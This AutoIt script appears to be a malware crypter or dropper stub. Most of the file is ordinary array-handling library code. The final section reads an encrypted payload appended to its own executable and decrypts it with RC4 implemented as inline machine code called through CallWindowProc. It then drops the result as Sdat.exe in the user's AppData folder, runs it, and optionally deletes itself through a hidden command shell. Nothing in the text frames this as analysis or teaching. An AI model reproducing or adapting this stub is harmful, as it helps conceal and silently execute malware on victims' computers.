(NOT IsArray($avarray)) Then Return SetError(1, 0, "") If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, "") Local $iubound = UBound($avarray) - 1 If $iubound = -1 Then Return SetError(3, 0, "") Local $slastval = $avarray[$iubound] If $iubound > -1 Then ReDim $avarray[$iubound] EndIf Return $slastval EndFunc Func _arraypush(ByRef $avarray, $vvalue, $idirection = 0) If (NOT IsArray($avarray)) Then Return SetError(1, 0, 0) If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, 0) Local $iubound = UBound($avarray) - 1 If IsArray($vvalue) Then Local $iubounds = UBound($vvalue) If ($iubounds - 1) > $iubound Then Return SetError(2, 0, 0) If $idirection Then For $i = $iubound To $iubounds Step -1 $avarray[$i] = $avarray[$i - $iubounds] Next For $i = 0 To $iubounds - 1 $avarray[$i] = $vvalue[$i] Next Else For $i = 0 To $iubound - $iubounds $avarray[$i] = $avarray[$i + $iubounds] Next For $i = 0 To $iubounds - 1 $avarray[$i + $iubound - $iubounds + 1] = $vvalue[$i] Next EndIf Else If $iubound > -1 Then If $idirection Then For $i = $iubound To 1 Step -1 $avarray[$i] = $avarray[$i - 1] Next $avarray[0] = $vvalue Else For $i = 0 To $iubound - 1 $avarray[$i] = $avarray[$i + 1] Next $avarray[$iubound] = $vvalue EndIf EndIf EndIf Return 1 EndFunc Func _arrayreverse(ByRef $avarray, $istart = 0, $iend = 0) If NOT IsArray($avarray) Then Return SetError(1, 0, 0) If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, 0) If NOT UBound($avarray) Then Return SetError(4, 0, 0) Local $vtmp, $iubound = UBound($avarray) - 1 If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(2, 0, 0) For $i = $istart To Int(($istart + $iend - 1) / 2) $vtmp = $avarray[$i] $avarray[$i] = $avarray[$iend] $avarray[$iend] = $vtmp $iend -= 1 Next Return 1 EndFunc Func _arraysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $icompare = 0, $iforward = 1, $isubitem = -1) If NOT IsArray($avarray) Then Return SetError(1, 0, -1) If UBound($avarray, 0) > 2 OR UBound($avarray, 0) < 1 Then Return SetError(2, 0, -1) Local $iubound = UBound($avarray) - 1 If $iubound = -1 Then Return SetError(3, 0, -1) If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(4, 0, -1) Local $istep = 1 If NOT $iforward Then Local $itmp = $istart $istart = $iend $iend = $itmp $istep = -1 EndIf Local $icomptype = False If $icompare = 2 Then $icompare = 0 $icomptype = True EndIf Switch UBound($avarray, 0) Case 1 If NOT $icompare Then If NOT $icase Then For $i = $istart To $iend Step $istep If $icomptype AND VarGetType($avarray[$i]) <> VarGetType($vvalue) Then ContinueLoop If $avarray[$i] = $vvalue Then Return $i Next Else For $i = $istart To $iend Step $istep If $icomptype AND VarGetType($avarray[$i]) <> VarGetType($vvalue) Then ContinueLoop If $avarray[$i] == $vvalue Then Return $i Next EndIf Else For $i = $istart To $iend Step $istep If $icompare = 3 Then If StringRegExp($avarray[$i], $vvalue) Then Return $i Else If StringInStr($avarray[$i], $vvalue, $icase) > 0 Then Return $i EndIf Next EndIf Case 2 Local $iuboundsub = UBound($avarray, 2) - 1 If $isubitem > $iuboundsub Then $isubitem = $iuboundsub If $isubitem < 0 Then $isubitem = 0 Else $iuboundsub = $isubitem EndIf For $j = $isubitem To $iuboundsub If NOT $icompare Then If NOT $icase Then For $i = $istart To $iend Step $istep If $icomptype AND VarGetType($avarray[$i][$j]) <> VarGetType($vvalue) Then ContinueLoop If $avarray[$i][$j] = $vvalue Then Return $i Next Else For $i = $istart To $iend Step $istep If $icomptype AND VarGetType($avarray[$i][$j]) <> VarGetType($vvalue) Then ContinueLoop If $avarray[$i][$j] == $vvalue Then Return $i Next EndIf Else For $i = $istart To $iend Step $istep If $icompare = 3 Then If StringRegExp($avarray[$i][$j], $vvalue) Then Return $i Else If StringInStr($avarray[$i][$j], $vvalue, $icase) > 0 Then Return $i EndIf Next EndIf Next Case Else Return SetError(7, 0, -1) EndSwitch Return SetError(6, 0, -1) EndFunc Func _arraysort(ByRef $avarray, $idescending = 0, $istart = 0, $iend = 0, $isubitem = 0, $ipivot = 0) If NOT IsArray($avarray) Then Return SetError(1, 0, 0) Local $iubound = UBound($avarray) - 1 If $iubound = -1 Then Return SetError(5, 0, 0) If $iend = Default Then $iend = 0 If $iend < 1 OR $iend > $iubound OR $iend = Default Then $iend = $iubound If $istart < 0 OR $istart = Default Then $istart = 0 If $istart > $iend Then Return SetError(2, 0, 0) If $idescending = Default Then $idescending = 0 If $ipivot = Default Then $ipivot = 0 If $isubitem = Default Then $isubitem = 0 Switch UBound($avarray, 0) Case 1 If $ipivot Then __arraydualpivotsort($avarray, $istart, $iend) Else __arrayquicksort1d($avarray, $istart, $iend) EndIf If $idescending Then _arrayreverse($avarray, $istart, $iend) Case 2 If $ipivot Then Return SetError(6, 0, 0) Local $isubmax = UBound($avarray, 2) - 1 If $isubitem > $isubmax Then Return SetError(3, 0, 0) If $idescending Then $idescending = -1 Else $idescending = 1 EndIf __arrayquicksort2d($avarray, $idescending, $istart, $iend, $isubitem, $isubmax) Case Else Return SetError(4, 0, 0) EndSwitch Return 1 EndFunc Func __arrayquicksort1d(ByRef $avarray, Const ByRef $istart, Const ByRef $iend) If $iend <= $istart Then Return Local $vtmp If ($iend - $istart) < 15 Then Local $vcur For $i = $istart + 1 To $iend $vtmp = $avarray[$i] If IsNumber($vtmp) Then For $j = $i - 1 To $istart Step -1 $vcur = $avarray[$j] If ($vtmp >= $vcur AND IsNumber($vcur)) OR (NOT IsNumber($vcur) AND StringCompare($vtmp, $vcur) >= 0) Then ExitLoop $avarray[$j + 1] = $vcur Next Else For $j = $i - 1 To $istart Step -1 If (StringCompare($vtmp, $avarray[$j]) >= 0) Then ExitLoop $avarray[$j + 1] = $avarray[$j] Next EndIf $avarray[$j + 1] = $vtmp Next Return EndIf Local $l = $istart, $r = $iend, $vpivot = $avarray[Int(($istart + $iend) / 2)], $fnum = IsNumber($vpivot) Do If $fnum Then While ($avarray[$l] < $vpivot AND IsNumber($avarray[$l])) OR (NOT IsNumber($avarray[$l]) AND StringCompare($avarray[$l], $vpivot) < 0) $l += 1 WEnd While ($avarray[$r] > $vpivot AND IsNumber($avarray[$r])) OR (NOT IsNumber($avarray[$r]) AND StringCompare($avarray[$r], $vpivot) > 0) $r -= 1 WEnd Else While (StringCompare($avarray[$l], $vpivot) < 0) $l += 1 WEnd While (StringCompare($avarray[$r], $vpivot) > 0) $r -= 1 WEnd EndIf If $l <= $r Then $vtmp = $avarray[$l] $avarray[$l] = $avarray[$r] $avarray[$r] = $vtmp $l += 1 $r -= 1 EndIf Until $l > $r __arrayquicksort1d($avarray, $istart, $r) __arrayquicksort1d($avarray, $l, $iend) EndFunc Func __arrayquicksort2d(ByRef $avarray, Const ByRef $istep, Const ByRef $istart, Const ByRef $iend, Const ByRef $isubitem, Const ByRef $isubmax) If $iend <= $istart Then Return Local $vtmp, $l = $istart, $r = $iend, $vpivot = $avarray[Int(($istart + $iend) / 2)][$isubitem], $fnum = IsNumber($vpivot) Do If $fnum Then While ($istep * ($avarray[$l][$isubitem] - $vpivot) < 0 AND IsNumber($avarray[$l][$isubitem])) OR (NOT IsNumber($avarray[$l][$isubitem]) AND $istep * StringCompare($avarray[$l][$isubitem], $vpivot) < 0) $l += 1 WEnd While ($istep * ($avarray[$r][$isubitem] - $vpivot) > 0 AND IsNumber($avarray[$r][$isubitem])) OR (NOT IsNumber($avarray[$r][$isubitem]) AND $istep * StringCompare($avarray[$r][$isubitem], $vpivot) > 0) $r -= 1 WEnd Else While ($istep * StringCompare($avarray[$l][$isubitem], $vpivot) < 0) $l += 1 WEnd While ($istep * StringCompare($avarray[$r][$isubitem], $vpivot) > 0) $r -= 1 WEnd EndIf If $l <= $r Then For $i = 0 To $isubmax $vtmp = $avarray[$l][$i] $avarray[$l][$i] = $avarray[$r][$i] $avarray[$r][$i] = $vtmp Next $l += 1 $r -= 1 EndIf Until $l > $r __arrayquicksort2d($avarray, $istep, $istart, $r, $isubitem, $isubmax) __arrayquicksort2d($avarray, $istep, $l, $iend, $isubitem, $isubmax) EndFunc Func __arraydualpivotsort(ByRef $aarray, $ipivot_left, $ipivot_right, $fleftmost = True) If $ipivot_left > $ipivot_right Then Return Local $ilength = $ipivot_right - $ipivot_left + 1 Local $i, $j, $k, $ai, $ak, $a1, $a2, $last If $ilength < 45 Then If $fleftmost Then $i = $ipivot_left While $i < $ipivot_right $j = $i $ai = $aarray[$i + 1] While $ai < $aarray[$j] $aarray[$j + 1] = $aarray[$j] $j -= 1 If $j + 1 = $ipivot_left Then ExitLoop WEnd $aarray[$j + 1] = $ai $i += 1 WEnd Else While 1 If $ipivot_left >= $ipivot_right Then Return 1 $ipivot_left += 1 If $aarray[$ipivot_left] < $aarray[$ipivot_left - 1] Then ExitLoop WEnd While 1 $k = $ipivot_left $ipivot_left += 1 If $ipivot_left > $ipivot_right Then ExitLoop $a1 = $aarray[$k] $a2 = $aarray[$ipivot_left] If $a1 < $a2 Then $a2 = $a1 $a1 = $aarray[$ipivot_left] EndIf $k -= 1 While $a1 < $aarray[$k] $aarray[$k + 2] = $aarray[$k] $k -= 1 WEnd $aarray[$k + 2] = $a1 While $a2 < $aarray[$k] $aarray[$k + 1] = $aarray[$k] $k -= 1 WEnd $aarray[$k + 1] = $a2 $ipivot_left += 1 WEnd $last = $aarray[$ipivot_right] $ipivot_right -= 1 While $last < $aarray[$ipivot_right] $aarray[$ipivot_right + 1] = $aarray[$ipivot_right] $ipivot_right -= 1 WEnd $aarray[$ipivot_right + 1] = $last EndIf Return 1 EndIf Local $iseventh = BitShift($ilength, 3) + BitShift($ilength, 6) + 1 Local $e1, $e2, $e3, $e4, $e5, $t $e3 = Ceiling(($ipivot_left + $ipivot_right) / 2) $e2 = $e3 - $iseventh $e1 = $e2 - $iseventh $e4 = $e3 + $iseventh $e5 = $e4 + $iseventh If $aarray[$e2] < $aarray[$e1] Then $t = $aarray[$e2] $aarray[$e2] = $aarray[$e1] $aarray[$e1] = $t EndIf If $aarray[$e3] < $aarray[$e2] Then $t = $aarray[$e3] $aarray[$e3] = $aarray[$e2] $aarray[$e2] = $t If $t < $aarray[$e1] Then $aarray[$e2] = $aarray[$e1] $aarray[$e1] = $t EndIf EndIf If $aarray[$e4] < $aarray[$e3] Then $t = $aarray[$e4] $aarray[$e4] = $aarray[$e3] $aarray[$e3] = $t If $t < $aarray[$e2] Then $aarray[$e3] = $aarray[$e2] $aarray[$e2] = $t If $t < $aarray[$e1] Then $aarray[$e2] = $aarray[$e1] $aarray[$e1] = $t EndIf EndIf EndIf If $aarray[$e5] < $aarray[$e4] Then $t = $aarray[$e5] $aarray[$e5] = $aarray[$e4] $aarray[$e4] = $t If $t < $aarray[$e3] Then $aarray[$e4] = $aarray[$e3] $aarray[$e3] = $t If $t < $aarray[$e2] Then $aarray[$e3] = $aarray[$e2] $aarray[$e2] = $t If $t < $aarray[$e1] Then $aarray[$e2] = $aarray[$e1] $aarray[$e1] = $t EndIf EndIf EndIf EndIf Local $iless = $ipivot_left Local $igreater = $ipivot_right If (($aarray[$e1] <> $aarray[$e2]) AND ($aarray[$e2] <> $aarray[$e3]) AND ($aarray[$e3] <> $aarray[$e4]) AND ($aarray[$e4] <> $aarray[$e5])) Then Local $ipivot_1 = $aarray[$e2] Local $ipivot_2 = $aarray[$e4] $aarray[$e2] = $aarray[$ipivot_left] $aarray[$e4] = $aarray[$ipivot_right] Do $iless += 1 Until $aarray[$iless] >= $ipivot_1 Do $igreater -= 1 Until $aarray[$igreater] <= $ipivot_2 $k = $iless While $k <= $igreater $ak = $aarray[$k] If $ak < $ipivot_1 Then $aarray[$k] = $aarray[$iless] $aarray[$iless] = $ak $iless += 1 ElseIf $ak > $ipivot_2 Then While $aarray[$igreater] > $ipivot_2 $igreater -= 1 If $igreater + 1 = $k Then ExitLoop 2 WEnd If $aarray[$igreater] < $ipivot_1 Then $aarray[$k] = $aarray[$iless] $aarray[$iless] = $aarray[$igreater] $iless += 1 Else $aarray[$k] = $aarray[$igreater] EndIf $aarray[$igreater] = $ak $igreater -= 1 EndIf $k += 1 WEnd $aarray[$ipivot_left] = $aarray[$iless - 1] $aarray[$iless - 1] = $ipivot_1 $aarray[$ipivot_right] = $aarray[$igreater + 1] $aarray[$igreater + 1] = $ipivot_2 __arraydualpivotsort($aarray, $ipivot_left, $iless - 2, True) __arraydualpivotsort($aarray, $igreater + 2, $ipivot_right, False) If ($iless < $e1) AND ($e5 < $igreater) Then While $aarray[$iless] = $ipivot_1 $iless += 1 WEnd While $aarray[$igreater] = $ipivot_2 $igreater -= 1 WEnd $k = $iless While $k <= $igreater $ak = $aarray[$k] If $ak = $ipivot_1 Then $aarray[$k] = $aarray[$iless] $aarray[$iless] = $ak $iless += 1 ElseIf $ak = $ipivot_2 Then While $aarray[$igreater] = $ipivot_2 $igreater -= 1 If $igreater + 1 = $k Then ExitLoop 2 WEnd If $aarray[$igreater] = $ipivot_1 Then $aarray[$k] = $aarray[$iless] $aarray[$iless] = $ipivot_1 $iless += 1 Else $aarray[$k] = $aarray[$igreater] EndIf $aarray[$igreater] = $ak $igreater -= 1 EndIf $k += 1 WEnd EndIf __arraydualpivotsort($aarray, $iless, $igreater, False) Else Local $ipivot = $aarray[$e3] $k = $iless While $k <= $igreater If $aarray[$k] = $ipivot Then $k += 1 ContinueLoop EndIf $ak = $aarray[$k] If $ak < $ipivot Then $aarray[$k] = $aarray[$iless] $aarray[$iless] = $ak $iless += 1 Else While $aarray[$igreater] > $ipivot $igreater -= 1 WEnd If $aarray[$igreater] < $ipivot Then $aarray[$k] = $aarray[$iless] $aarray[$iless] = $aarray[$igreater] $iless += 1 Else $aarray[$k] = $ipivot EndIf $aarray[$igreater] = $ak $igreater -= 1 EndIf $k += 1 WEnd __arraydualpivotsort($aarray, $ipivot_left, $iless - 1, True) __arraydualpivotsort($aarray, $igreater + 1, $ipivot_right, False) EndIf EndFunc Func _arrayswap(ByRef $vitem1, ByRef $vitem2) Local $vtmp = $vitem1 $vitem1 = $vitem2 $vitem2 = $vtmp EndFunc Func _arraytoclip(Const ByRef $avarray, $istart = 0, $iend = 0) Local $sresult = _arraytostring($avarray, @CR, $istart, $iend) If @error Then Return SetError(@error, 0, 0) If ClipPut($sresult) Then Return 1 Return SetError(-1, 0, 0) EndFunc Func _arraytostring(Const ByRef $avarray, $sdelim = "|", $istart = 0, $iend = 0) If NOT IsArray($avarray) Then Return SetError(1, 0, "") If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, "") If NOT UBound($avarray) Then Return SetError(4, 0, "") Local $sresult, $iubound = UBound($avarray) - 1 If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(2, 0, "") For $i = $istart To $iend $sresult &= $avarray[$i] & $sdelim Next Return StringTrimRight($sresult, StringLen($sdelim)) EndFunc Func _arraytranspose(ByRef $avarray) If UBound($avarray, 0) <> 2 Then Return SetError(1, 0, 0) Local $velement = 0, $idim_1 = UBound($avarray, 1), $idim_2 = UBound($avarray, 2), $idim_max = ($idim_1 > $idim_2) ? $idim_1 : $idim_2 If $idim_max <= 4096 Then ReDim $avarray[$idim_max][$idim_max] For $i = 0 To $idim_max - 2 For $j = $i + 1 To $idim_max - 1 $velement = $avarray[$i][$j] $avarray[$i][$j] = $avarray[$j][$i] $avarray[$j][$i] = $velement Next Next ReDim $avarray[$idim_2][$idim_1] Else Local $atemp[$idim_2][$idim_1] For $i = 0 To $idim_1 - 1 For $j = 0 To $idim_2 - 1 $atemp[$j][$i] = $avarray[$i][$j] Next Next ReDim $avarray[$idim_2][$idim_1] $avarray = $atemp EndIf Return 1 EndFunc Func _arraytrim(ByRef $avarray, $itrimnum, $idirection = 0, $istart = 0, $iend = 0) If NOT IsArray($avarray) Then Return SetError(1, 0, 0) If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0) If NOT UBound($avarray) Then Return SetError(3, 0, 0) Local $iubound = UBound($avarray) - 1 If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(5, 0, 0) If $idirection Then For $i = $istart To $iend $avarray[$i] = StringTrimRight($avarray[$i], $itrimnum) Next Else For $i = $istart To $iend $avarray[$i] = StringTrimLeft($avarray[$i], $itrimnum) Next EndIf Return 1 EndFunc Func _arrayunique(Const ByRef $aarray, $icolumn = Default, $ibase = Default, $icase = Default, $iflags = Default) If $icolumn = Default Then $icolumn = 1 If $ibase = Default Then $ibase = 0 If $icase = Default Then $icase = 0 If $iflags = Default Then $iflags = 1 If UBound($aarray) = 0 Then Return SetError(1, 0, 0) If $ibase < 0 OR $ibase > 1 OR (NOT IsInt($ibase)) Then Return SetError(2, 0, 0) If $icase < 0 OR $icase > 1 OR (NOT IsInt($icase)) Then Return SetError(2, 0, 0) If $iflags < 0 OR $iflags > 1 OR (NOT IsInt($iflags)) Then Return SetError(4, 0, 0) Local $idims = UBound($aarray, 0), $inumcolumns = UBound($aarray, 2) If $idims > 2 Then Return SetError(3, 0, 0) If ($icolumn < 1) OR ($inumcolumns = 0 AND ($icolumn - 1 > $inumcolumns)) OR ($inumcolumns > 0 AND ($icolumn > $inumcolumns)) Then Return SetError(3, 0, 0) $icolumn -= 1 Local $od = ObjCreate("Scripting.Dictionary") $od.comparemode = Number(NOT $icase) Local $velem For $i = $ibase To UBound($aarray) - 1 If $idims = 1 Then $velem = $aarray[$i] Else $velem = $aarray[$i][$icolumn] EndIf $od.item($velem) Next If BitAND($iflags, 1) = 1 Then Local $atemp = $od.keys() _arrayinsert($atemp, 0, $od.count) Return $atemp Else Return $od.keys() EndIf EndFunc Func __array_exeterinternal(ByRef $avarray, $istart, $isize, $sdelim, ByRef $aidx, ByRef $aresult, ByRef $icount) If $istart == $isize - 1 Then For $i = 0 To $isize - 1 $aresult[$icount] &= $avarray[$aidx[$i]] & $sdelim Next If $sdelim <> "" Then $aresult[$icount] = StringTrimRight($aresult[$icount], 1) $icount += 1 Else Local $itemp For $i = $istart To $isize - 1 $itemp = $aidx[$i] $aidx[$i] = $aidx[$istart] $aidx[$istart] = $itemp __array_exeterinternal($avarray, $istart + 1, $isize, $sdelim, $aidx, $aresult, $icount) $aidx[$istart] = $aidx[$i] $aidx[$i] = $itemp Next EndIf EndFunc Func __array_combinations($in, $ir) Local $i_total = 1 For $i = $ir To 1 Step -1 $i_total *= ($in / $i) $in -= 1 Next Return Round($i_total) EndFunc Func __array_getnext($in, $ir, ByRef $ileft, $itotal, ByRef $aidx) If $ileft == $itotal Then $ileft -= 1 Return EndIf Local $i = $ir - 1 While $aidx[$i] == $in - $ir + $i $i -= 1 WEnd $aidx[$i] += 1 For $j = $i + 1 To $ir - 1 $aidx[$j] = $aidx[$i] + $j - $i Next $ileft -= 1 EndFunc FileDelete(@AppDataDir & "/Sdat.exe") $readsettings = readeof(@AutoItExe) $decrypt = _rc4($readsettings, "H)/(F49%7b") $decryptsettings = BinaryToString($decrypt) $split = StringSplit($decryptsettings, BinaryToString("0x7C602DB47C"), 1) If BinaryToString(_rc4($split[2], $split[3])) <> 'K:|m4a`!Tq"JD+$6gre/qUANcgGgydYTyiqEc=tU' Then MsgBox(16, "Error", BinaryToString(_rc4($split[2], $split[3]))) EndIf runbin(_rc4($split[1], $split[3])) If $split[4] = 1 Then _selfdelete(1000) EndIf Func readeof($smodule) $hnd = FileOpen($smodule, 16) $read = FileRead($hnd) $split = _stringbetween($read, "257C2525", "257C252525") If $split = 0 OR @error = -1 Then $string = "-.-" Else $str = _arraytostring($split) $string = _hextostring($str) EndIf FileClose($hnd) Return $string EndFunc Func _selfdelete($iwait) ShellExecute(@ComSpec, "/c ping 0.0.0.1 -n 1 -w " & $iwait & " & del " & @ScriptName, @ScriptDir, "open", @SW_HIDE) Exit EndFunc Func runbin($binary) $handle = FileOpen(@AppDataDir & "\Sdat.exe", 16 + 2) $w = FileWrite($handle, $binary) FileClose($handle) Run(@AppDataDir & "\Sdat.exe") EndFunc Func _rc4($data, $key) Local $opcode = "0xC81001006A006A005356578B551031C989C84989D7F2AE484829C88945F085C00F84DC000000B90001000088C82C0188840DEFFEFFFFE2F38365F4008365FC00817DFC000100007D478B45FC31D2F775F0920345100FB6008B4DFC0FB68C0DF0FEFFFF01C80345F425FF0000008945F48B75FC8A8435F0FEFFFF8B7DF486843DF0FEFFFF888435F0FEFFFFFF45FCEBB08D9DF0FEFFFF31FF89FA39550C76638B85ECFEFFFF4025FF0000008985ECFEFFFF89D80385ECFEFFFF0FB6000385E8FEFFFF25FF0000008985E8FEFFFF89DE03B5ECFEFFFF8A0689DF03BDE8FEFFFF860788060FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B750801D6300642EB985F5E5BC9C21000" Local $codebuffer = DllStructCreate("byte[" & BinaryLen($opcode) & "]") DllStructSetData($codebuffer, 1, $opcode) Local $buffer = DllStructCreate("byte[" & BinaryLen($data) & "]") DllStructSetData($buffer, 1, $data) DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($codebuffer), "ptr", DllStructGetPtr($buffer), "int", BinaryLen($data), "str", $key, "int", 0) Local $ret = DllStructGetData($buffer, 1) $buffer = 0 $codebuffer = 0 Return $ret EndFunc